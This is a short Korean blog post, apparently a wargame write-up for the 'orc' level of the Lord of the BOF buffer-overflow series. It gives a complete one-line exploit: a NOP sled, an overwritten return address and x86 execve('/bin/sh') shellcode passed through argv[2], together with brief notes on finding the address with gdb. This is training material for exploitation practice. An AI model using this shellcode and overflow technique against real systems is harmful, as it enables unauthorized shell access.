티스토리 뷰
해답 :
./orc `python -c 'print "\x90"*44+"\x2c\xfc\xff\xbf"'` `python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`
버퍼가 40 으로 상당히 작습니다. 버퍼 40에 제가 가지고 있는 24바이트의 쉘코드를 넣어도 되겠지만 성공률 때문에 argv[2] 에다가 넣는 방식으로 해결했습니다.
해답을 보시면 총 두가지 인자 값을 넣었는데 첫 번째 인자 값은 주소를 바꾸는 용도를 사용했고 두 번째 인자 값은 쉘코드를 넣기 위해 사용했습니다.
x/150x $esp를 이용해서 argv[2]가 들어가는 위치를 파악한 후 해당 주소로 점프하게끔 리턴 주소를 바꿔주면 완료입니다.
cantata
'문제풀이 > bof원정대' 카테고리의 다른 글
bof 원정대 wolfman -> darkelf (0) | 2016.08.15 |
---|---|
bof 원정대 orc -> wolfman (0) | 2016.08.15 |
bof원정대 gremlin -> cobolt (0) | 2016.08.15 |
bof원정대 gate -> gremlin (0) | 2016.08.15 |
BOF 기본 (0) | 2016.08.14 |
댓글
공지사항
최근에 올라온 글
최근에 달린 댓글
- Total
- Today
- Yesterday
링크
TAG
- 드라이버
- breakpoint
- 리눅스 모듈
- module
- vmware 오류
- LKM
- 백도어
- GDB
- 변환
- PNP 드라이버
- gdb intel 변환
- 모듈
- gdb intel
- VMware
- backdoor
- BP
- gdb 명령어
- Intel
- vmware cannot connect to the virtual machine
- 레거시 드라이버
- gdb명령어
- DriverEntry
- 루트킷
- rootkit
- IRP
- 디바이스
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | |||
5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 | 13 | 14 | 15 | 16 | 17 | 18 |
19 | 20 | 21 | 22 | 23 | 24 | 25 |
26 | 27 | 28 | 29 | 30 | 31 |
글 보관함